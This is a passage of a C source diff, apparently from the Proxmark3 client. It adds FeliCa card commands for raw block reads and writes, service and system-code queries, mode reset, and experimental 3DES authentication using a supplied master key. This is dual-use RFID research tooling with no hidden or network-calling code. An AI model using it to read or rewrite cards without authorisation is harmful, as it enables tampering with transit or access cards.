sizeof(rqs_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " -Node Number: %s", sprint_hex(rqs_response.node_number, sizeof(rqs_response.node_number))); + PrintAndLogEx(SUCCESS, " -Node Key Version List: %s\n", sprint_hex(rqs_response.node_key_versions, sizeof(rqs_response.node_key_versions))); + } + return PM3_SUCCESS; + } + return PM3_ERFTRANS; +} + +/** + * Sends a read_without_encryption frame to the pm3 and prints response. + * @param flags to use for pm3 communication. + * @param datalen frame length. + * @param data frame to be send. + * @param verbose display additional output. + * @param rd_noCry_resp frame in which the response will be saved. + * @return success if response was received. + */ +int send_rd_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_read_without_encryption_response_t *rd_noCry_resp) { + clear_and_send_command(flags, datalen, data, verbose); + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, verbose)) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } else { + memcpy(rd_noCry_resp, (felica_read_without_encryption_response_t *)resp.data.asBytes, sizeof(felica_read_without_encryption_response_t)); + rd_noCry_resp->block_element_number[0] = data[15]; + return PM3_SUCCESS; + } +} + +/** + * Checks if last known card can be added to data and adds it if possible. + * @param custom_IDm + * @param data + * @return + */ +static bool check_last_idm(uint8_t *data, uint16_t datalen) { + if (!add_last_IDm(2, data)) { + PrintAndLogEx(ERR, "No last known card! Use reader first or set a custom IDm!"); + return 0; + } else { + PrintAndLogEx(INFO, "Used last known IDm. %s", sprint_hex(data, datalen)); + return 1; + } +} + +/** + * Sends a read_without_encryption frame to the pm3 and prints response. + * @param flags to use for pm3 communication. + * @param datalen frame length. + * @param data frame to be send. + * @param verbose display additional output. + * @param wr_noCry_resp frame in which the response will be saved. + * @return success if response was received. + */ +int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_status_response_t *wr_noCry_resp) { + clear_and_send_command(flags, datalen, data, verbose); + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, verbose)) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } else { + memcpy(wr_noCry_resp, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); + return PM3_SUCCESS; + } +} + +/** + * Reverses the master secret. Example: AA AA AA AA AA AA AA BB to BB AA AA AA AA AA AA AA + * @param master_key the secret which order will be reversed. + * @param length in bytes of the master secret. + * @param reverse_master_key output in which the reversed secret is stored. + */ +static void reverse_3des_key(uint8_t *master_key, int length, uint8_t *reverse_master_key) { + for (int i = 0; i < length; i++) { + reverse_master_key[i] = master_key[(length - 1) - i]; + } +}; + +/** + * Command parser for auth1 + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaAuthentication1(const char *Cmd) { + if (strlen(Cmd) < 4) { + return usage_hf_felica_authentication1(); + } + + PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!"); + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 24; // Length (1), Command ID (1), IDm (8), Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_authentication1(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_authentication1(); + } + } + i++; + } + data[0] = int_to_hex(&datalen); + data[1] = 0x10; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + // Number of Area (1), Area Code List (2), Number of Service (1), Service Code List (2), M1c (8) + uint8_t lengths[] = {2, 4, 2, 4}; + uint8_t dataPositions[] = {10, 11, 13, 14}; + for (i = 0; i < 4; i++) { + if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { + paramCount++; + } else { + return PM3_EINVARG; } } - //Validations - if (errors || cmdp == 0) return usage_hf_felica_sim(); + // READER CHALLENGE - (RANDOM To Encrypt = Rac) + unsigned char input[8]; + input[0] = 0x1; + input[1] = 0x2; + input[2] = 0x3; + input[3] = 0x4; + input[4] = 0x5; + input[5] = 0x6; + input[6] = 0x7; + input[7] = 0x8; + PrintAndLogEx(INFO, "Reader challenge (unencrypted): %s", sprint_hex(input, 8)); + unsigned char output[8]; + // Create M1c Challenge with 3DES (3 Keys = 24, 2 Keys = 16) + uint8_t master_key[PM3_CMD_DATA_SIZE]; + mbedtls_des3_context des3_ctx; + mbedtls_des3_init(&des3_ctx); + if (param_getlength(Cmd, paramCount) == 48) { + if (param_gethex(Cmd, paramCount, master_key, 48) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + mbedtls_des3_set3key_enc(&des3_ctx, master_key); + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 24)); + } else if (param_getlength(Cmd, paramCount) == 32) { - clearCommandBuffer(); - SendCommandOLD(CMD_FELICA_SIMULATE_TAG, tagtype, flags, 0, uid, uidlen >> 1); - PacketResponseNG resp; + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } - if (verbose) - PrintAndLogEx(NORMAL, "Press pm3-button to abort simulation"); - - while (!ukbhit()) { - if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) continue; + // Assumption: Master secret split in half for Kac, Kbc + mbedtls_des3_set2key_enc(&des3_ctx, master_key); + PrintAndLogEx(INFO, "3DES Master Secret: %s", sprint_hex(master_key, 16)); + } else { + PrintAndLogEx(ERR, "Invalid key length"); + return PM3_EINVARG; } - return 0; + + mbedtls_des3_crypt_ecb(&des3_ctx, input, output); + PrintAndLogEx(INFO, "3DES ENCRYPTED M1c: %s", sprint_hex(output, 8)); + // Add M1c Challenge to frame + int frame_position = 16; + for (i = 0; i < 8; i++) { + data[frame_position++] = output[i]; + } + + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + + PrintAndLogEx(INFO, "Client Send AUTH1 Frame: %s", sprint_hex(data, datalen)); + clear_and_send_command(flags, datalen, data, 0); + + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no Response from card"); + return PM3_ERFTRANS; + } else { + felica_auth1_response_t auth1_response; + memcpy(&auth1_response, (felica_auth1_response_t *)resp.data.asBytes, sizeof(felica_auth1_response_t)); + if (auth1_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot auth1 response:"); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(auth1_response.frame_response.IDm, sizeof(auth1_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "M2C: %s", sprint_hex(auth1_response.m2c, sizeof(auth1_response.m2c))); + PrintAndLogEx(SUCCESS, "M3C: %s", sprint_hex(auth1_response.m3c, sizeof(auth1_response.m3c))); + // Assumption: Key swap method used + uint8_t reverse_master_key[PM3_CMD_DATA_SIZE]; + reverse_3des_key(master_key, 16, reverse_master_key); + mbedtls_des3_set2key_dec(&des3_ctx, reverse_master_key); + bool isKeyCorrect = false; + unsigned char p2c[8]; + mbedtls_des3_crypt_ecb(&des3_ctx, auth1_response.m2c, p2c); + for (i = 0; i < 8; i++) { + if (p2c[i] != input[i]) { + isKeyCorrect = false; + break; + } else { + isKeyCorrect = true; + } + } + if (isKeyCorrect) { + PrintAndLogEx(SUCCESS, "\nAuth1 done with correct key material! Use Auth2 now with M3C and same key"); + } else { + PrintAndLogEx(INFO, "3DES secret (swapped decryption): %s", sprint_hex(reverse_master_key, 16)); + PrintAndLogEx(INFO, "P2c: %s", sprint_hex(p2c, 8)); + PrintAndLogEx(ERR, "Can't decrypt M2C with master secret (P1c != P2c)! Probably wrong keys or wrong decryption method"); + } + } + } + return PM3_SUCCESS; +} + +/** + * Command parser for auth2 + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaAuthentication2(const char *Cmd) { + if (strlen(Cmd) < 2) { + return usage_hf_felica_authentication2(); + } + PrintAndLogEx(INFO, "INCOMPLETE / EXPERIMENTAL COMMAND!!!"); + PrintAndLogEx(INFO, "EXPERIMENTAL COMMAND - M2c/P2c will be not checked"); + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 18; // Length (1), Command ID (1), IDm (8), M4c (8) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_authentication2(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_authentication1(); + } + } + i++; + } + + data[0] = int_to_hex(&datalen); + data[1] = 0x12; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + + // M3c (8) + unsigned char m3c[8]; + if (add_param(Cmd, paramCount, m3c, 0, 16)) { + paramCount++; + } else { + return PM3_EINVARG; + } + + // Create M4c challenge response with 3DES + uint8_t master_key[PM3_CMD_DATA_SIZE]; + uint8_t reverse_master_key[PM3_CMD_DATA_SIZE]; + mbedtls_des3_context des3_ctx; + mbedtls_des3_init(&des3_ctx); + unsigned char p3c[8]; + if (param_getlength(Cmd, paramCount) == 32) { + + if (param_gethex(Cmd, paramCount, master_key, 32) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + reverse_3des_key(master_key, 16, reverse_master_key); + mbedtls_des3_set2key_dec(&des3_ctx, reverse_master_key); + mbedtls_des3_set2key_enc(&des3_ctx, master_key); + // Assumption: Key swap method used for E2 + PrintAndLogEx(INFO, "3DES Master Secret (encryption): %s", sprint_hex(master_key, 16)); + PrintAndLogEx(INFO, "3DES Master Secret (decryption): %s", sprint_hex(reverse_master_key, 16)); + } else { + PrintAndLogEx(ERR, "Invalid key length"); + return PM3_EINVARG; + } + // Decrypt m3c with reverse_master_key + mbedtls_des3_crypt_ecb(&des3_ctx, m3c, p3c); + PrintAndLogEx(INFO, "3DES decrypted M3c = P3c: %s", sprint_hex(p3c, 8)); + // Encrypt p3c with master_key + unsigned char m4c[8]; + mbedtls_des3_crypt_ecb(&des3_ctx, p3c, m4c); + PrintAndLogEx(INFO, "3DES encrypted M4c: %s", sprint_hex(m4c, 8)); + + // Add M4c Challenge to frame + int frame_position = 10; + for (i = 0; i < 8; i++) { + data[frame_position++] = m4c[i]; + } + + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + + PrintAndLogEx(INFO, "Client Send AUTH2 Frame: %s", sprint_hex(data, datalen)); + clear_and_send_command(flags, datalen, data, 0); + + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no Response from card"); + return PM3_ERFTRANS; + } else { + felica_auth2_response_t auth2_response; + memcpy(&auth2_response, (felica_auth2_response_t *)resp.data.asBytes, sizeof(felica_auth2_response_t)); + if (auth2_response.code[0] != 0x12) { + PrintAndLogEx(SUCCESS, "\nGot auth2 response:"); + PrintAndLogEx(SUCCESS, "IDtc: %s", sprint_hex(auth2_response.IDtc, sizeof(auth2_response.IDtc))); + PrintAndLogEx(SUCCESS, "IDi (encrypted): %s", sprint_hex(auth2_response.IDi, sizeof(auth2_response.IDi))); + PrintAndLogEx(SUCCESS, "PMi (encrypted): %s", sprint_hex(auth2_response.PMi, sizeof(auth2_response.PMi))); + } else { + PrintAndLogEx(ERR, "\nGot wrong frame format."); + } + } + return PM3_SUCCESS; +} + + +/** + * Command parser for wrunencrypted. + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) { + if (strlen(Cmd) < 5) + return usage_hf_felica_write_without_encryption(); + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 32; // Length (1), Command ID (1), IDm (8), Number of Service (1), Service Code List(2), Number of Block(1), Block List(3), Block Data(16) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_write_without_encryption(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_write_without_encryption(); + } + } + i++; + } + data[0] = 0x20; // Static length + data[1] = 0x08; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + // Number of Service 2, Service Code List 4, Number of Block 2, Block List Element 4, Data 16 + uint8_t lengths[] = {2, 4, 2, 4, 32}; + uint8_t dataPositions[] = {10, 11, 13, 14, 16}; + for (i = 0; i < 5; i++) { + if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { + paramCount++; + } else { + return PM3_EINVARG; + } + } + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + AddCrc(data, datalen); + datalen += 2; + felica_status_response_t wr_noCry_resp; + if (send_wr_unencrypted(flags, datalen, data, 1, &wr_noCry_resp) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2))); + if (wr_noCry_resp.status_flags.status_flag1[0] == 0x00 && wr_noCry_resp.status_flags.status_flag2[0] == 0x00) { + PrintAndLogEx(SUCCESS, "Writing data successful!\n"); + } else { + PrintAndLogEx(ERR, "Something went wrong! Check status flags.\n"); + } + } + return PM3_SUCCESS; +} + +/** + * Command parser for rdunencrypted. + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { + if (strlen(Cmd) < 4) + return usage_hf_felica_read_without_encryption(); + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 16; // Length (1), Command ID (1), IDm (8), Number of Service (1), Service Code List(2), Number of Block(1), Block List(3) + uint8_t paramCount = 0; + uint8_t flags = 0; + uint8_t all_block_list_elements = false; + uint8_t long_block_numbers = false; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_read_without_encryption(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + case 'b': + paramCount++; + all_block_list_elements = true; + break; + case 'l': + paramCount++; + long_block_numbers = true; + break; + default: + return usage_hf_felica_read_without_encryption(); + } + } + i++; + } + data[0] = 0x10; // Static length + data[1] = 0x06; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + // Number of Service 2, Service Code List 4, Number of Block 2, Block List Element 4 + uint8_t lengths[] = {2, 4, 2, 4}; + uint8_t dataPositions[] = {10, 11, 13, 14}; + if (long_block_numbers) { + datalen += 1; + lengths[3] = 6; + } + for (i = 0; i < 4; i++) { + if (add_param(Cmd, paramCount, data, dataPositions[i], lengths[i])) { + paramCount++; + } else { + return PM3_EINVARG; + } + } + + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + if (all_block_list_elements) { + uint16_t last_block_number = 0xFF; + if (long_block_numbers) { + last_block_number = 0xFFFF; + } + PrintAndLogEx(INFO, "Block Nr.\t| Data "); + for (i = 0x00; i < last_block_number; i++) { + data[15] = i; + AddCrc(data, datalen); + datalen += 2; + felica_read_without_encryption_response_t rd_noCry_resp; + if ((send_rd_unencrypted(flags, datalen, data, 0, &rd_noCry_resp) == PM3_SUCCESS)) { + if (rd_noCry_resp.status_flags.status_flag1[0] == 00 && rd_noCry_resp.status_flags.status_flag2[0] == 00) { + print_rd_noEncrpytion_response(&rd_noCry_resp); + } + } else { + break; + } + datalen -= 2; + } + } else { + AddCrc(data, datalen); + datalen += 2; + felica_read_without_encryption_response_t rd_noCry_resp; + if (send_rd_unencrypted(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) { + PrintAndLogEx(INFO, "Block Nr.\t| Data "); + print_rd_noEncrpytion_response(&rd_noCry_resp); + } + } + return PM3_SUCCESS; +} + +/** + * Command parser for rqresponse + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaRequestResponse(const char *Cmd) { + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 10; // Length (1), Command ID (1), IDm (8) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_request_response(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_request_response(); + } + } + i++; + } + data[0] = 0x0A; // Static length + data[1] = 0x04; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + clear_and_send_command(flags, datalen, data, 0); + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } else { + felica_request_request_response_t rq_response; + memcpy(&rq_response, (felica_request_request_response_t *)resp.data.asBytes, sizeof(felica_request_request_response_t)); + if (rq_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot Request Response:"); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_response.frame_response.IDm, sizeof(rq_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " -Mode: %s\n\n", sprint_hex(rq_response.mode, sizeof(rq_response.mode))); + } + } + return PM3_SUCCESS; +} + + +/** + * Command parser for rqspecver + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + bool custom_reserve = false; + strip_cmds(Cmd); + uint16_t datalen = 12; // Length (1), Command ID (1), IDm (8), Reserved (2) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_request_specification_version(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + case 'r': + paramCount++; + custom_reserve = true; + if (!add_param(Cmd, paramCount, data, 10, 4)) { + return PM3_EINVARG; + } + paramCount++; + i += 4; + break; + default: + return usage_hf_felica_request_specification_version(); + } + } + i++; + } + data[0] = 0x0C; // Static length + data[1] = 0x3C; // Command ID + if (!custom_reserve) { + data[10] = 0x00; // Reserved Value + data[11] = 0x00; // Reserved Value + } + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + clear_and_send_command(flags, datalen, data, 0); + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } else { + felica_request_spec_response_t spec_response; + memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t)); + + if (spec_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot Request Response:"); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2))); + if (spec_response.status_flags.status_flag1[0] == 0x00) { + PrintAndLogEx(SUCCESS, "Format Version: %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version))); + PrintAndLogEx(SUCCESS, "Basic Version: %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version))); + PrintAndLogEx(SUCCESS, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); + if (spec_response.number_of_option[0] == 0x01) { + PrintAndLogEx(SUCCESS, "Option Version List:"); + for (i = 0; i < spec_response.number_of_option[0]; i++) { + PrintAndLogEx(SUCCESS, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2)); + } + } + } + } + } + return PM3_SUCCESS; +} + + +/** + * Command parser for resetmode + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaResetMode(const char *Cmd) { + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + bool custom_reserve = false; + strip_cmds(Cmd); + uint16_t datalen = 12; // Length (1), Command ID (1), IDm (8), Reserved (2) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_reset_mode(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + case 'r': + paramCount++; + custom_reserve = true; + if (!add_param(Cmd, paramCount, data, 10, 4)) { + return PM3_EINVARG; + } + paramCount++; + i += 4; + break; + default: + return usage_hf_felica_reset_mode(); + } + } + i++; + } + data[0] = 0x0C; // Static length + data[1] = 0x3E; // Command ID + if (!custom_reserve) { + data[10] = 0x00; // Reserved Value + data[11] = 0x00; // Reserved Value + } + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + clear_and_send_command(flags, datalen, data, 0); + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } else { + felica_status_response_t reset_mode_response; + memcpy(&reset_mode_response, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); + if (reset_mode_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot Request Response:"); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(reset_mode_response.frame_response.IDm, sizeof(reset_mode_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(reset_mode_response.status_flags.status_flag1, sizeof(reset_mode_response.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(reset_mode_response.status_flags.status_flag2, sizeof(reset_mode_response.status_flags.status_flag2))); + } + } + return PM3_SUCCESS; +} + +/** + * Command parser for rqsyscode + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaRequestSystemCode(const char *Cmd) { + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + strip_cmds(Cmd); + uint16_t datalen = 10; // Length (1), Command ID (1), IDm (8) + uint8_t paramCount = 0; + uint8_t flags = 0; + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_request_system_code(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + default: + return usage_hf_felica_request_system_code(); + } + } + i++; + } + data[0] = 0x0A; // Static length + data[1] = 0x0C; // Command ID + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + AddCrc(data, datalen); + datalen += 2; + flags |= FELICA_APPEND_CRC; + flags |= FELICA_RAW; + clear_and_send_command(flags, datalen, data, 0); + PacketResponseNG resp; + if (!waitCmdFelica(0, &resp, 1)) { + PrintAndLogEx(ERR, "\nGot no response from card"); + return PM3_ERFTRANS; + } else { + felica_syscode_response_t rq_syscode_response; + memcpy(&rq_syscode_response, (felica_syscode_response_t *)resp.data.asBytes, sizeof(felica_syscode_response_t)); + + if (rq_syscode_response.frame_response.IDm[0] != 0) { + PrintAndLogEx(SUCCESS, "\nGot Request Response:"); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_syscode_response.frame_response.IDm, sizeof(rq_syscode_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " - Number of Systems: %s", sprint_hex(rq_syscode_response.number_of_systems, sizeof(rq_syscode_response.number_of_systems))); + PrintAndLogEx(SUCCESS, " - System Codes: enumerated in ascending order starting from System 0."); + for (i = 0; i < rq_syscode_response.number_of_systems[0]; i++) { + PrintAndLogEx(SUCCESS, " - %s", sprint_hex(rq_syscode_response.system_code_list + i * 2, sizeof(uint8_t) * 2)); + } + } + } + return PM3_SUCCESS; +} + +/** + * Command parser for rqservice. + * @param Cmd input data of the user. + * @return client result code. + */ +static int CmdHFFelicaRequestService(const char *Cmd) { + if (strlen(Cmd) < 2) return usage_hf_felica_request_service(); + int i = 0; + uint8_t data[PM3_CMD_DATA_SIZE]; + bool custom_IDm = false; + bool all_nodes = false; + uint16_t datalen = 13; // length (1) + CMD (1) + IDm(8) + Node Number (1) + Node Code List (2) + uint8_t flags = 0; + uint8_t paramCount = 0; + strip_cmds(Cmd); + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'h': + return usage_hf_felica_request_service(); + case 'i': + paramCount++; + custom_IDm = true; + if (!add_param(Cmd, paramCount, data, 2, 16)) { + return PM3_EINVARG; + } + paramCount++; + i += 16; + break; + case 'a': + paramCount++; + all_nodes = true; + break; + default: + return usage_hf_felica_request_service(); + } + i += 2; + } + i++; + } + + if (!all_nodes) { + // Node Number + if (param_getlength(Cmd, paramCount) == 2) { + + if (param_gethex(Cmd, paramCount++, data + 10, 2) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + + } else { + PrintAndLogEx(ERR, "Incorrect Node number length!"); + return PM3_EINVARG; + } + } + + if (param_getlength(Cmd, paramCount) == 4) { + + if (param_gethex(Cmd, paramCount++, data + 11, 4) == 1) { + PrintAndLogEx(ERR, "Failed param key"); + return PM3_EINVARG; + } + } else { + PrintAndLogEx(ERR, "Incorrect parameter length!"); + return PM3_EINVARG; + } + + flags |= FELICA_APPEND_CRC; + if (custom_IDm) { + flags |= FELICA_NO_SELECT; + } + + if (datalen > 0) { + flags |= FELICA_RAW; + } + + datalen = (datalen > PM3_CMD_DATA_SIZE) ? PM3_CMD_DATA_SIZE : datalen; + if (!custom_IDm && !check_last_idm(data, datalen)) { + return PM3_EINVARG; + } + + data[0] = int_to_hex(&datalen); + data[1] = 0x02; // Service Request Command ID + if (all_nodes) { + for (uint16_t y = 1; y < 32; y++) { + data[10] = int_to_hex(&y); + AddCrc(data, datalen); + datalen += 2; + send_request_service(flags, datalen, data, 1); + datalen -= 2; // Remove CRC bytes before adding new ones + } + } else { + AddCrc(data, datalen); + datalen += 2; + send_request_service(flags, datalen, data, 1); + } + + return PM3_SUCCESS; +} + +static int CmdHFFelicaNotImplementedYet(const char *Cmd) { + PrintAndLogEx(INFO, "Feature not implemented yet."); + PrintAndLogEx(INFO, "Feel free to contribute!"); + return PM3_SUCCESS; } static int CmdHFFelicaSniff(const char *Cmd) { - - uint8_t cmdp = 0; + uint8_t paramCount = 0; uint64_t samples2skip = 0; uint64_t triggers2skip = 0; - bool errors = false; - - while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { - switch (param_getchar(Cmd, cmdp)) { - case 'h': - case 'H': - return usage_hf_felica_sniff(); - case 's': - case 'S': - samples2skip = param_get32ex(Cmd, cmdp + 1, 0, 10); - cmdp += 2; - break; - case 't': - case 'T': - triggers2skip = param_get32ex(Cmd, cmdp + 1, 0, 10); - cmdp += 2; - break; - default: - PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); - errors = true; - break; + strip_cmds(Cmd); + int i = 0; + while (Cmd[i] != '\0') { + if (Cmd[i] == '-') { + switch (tolower(Cmd[i + 1])) { + case 'H': + return usage_hf_felica_sniff(); + case 's': + paramCount++; + if (param_getlength(Cmd, paramCount) < 5) { + samples2skip = param_get32ex(Cmd, paramCount++, 0, 10); + } else { + PrintAndLogEx(ERR, "Invalid samples number!"); + return PM3_EINVARG; + } + break; + case 't': + paramCount++; + if (param_getlength(Cmd, paramCount) < 5) { + triggers2skip = param_get32ex(Cmd, paramCount++, 0, 10); + } else { + 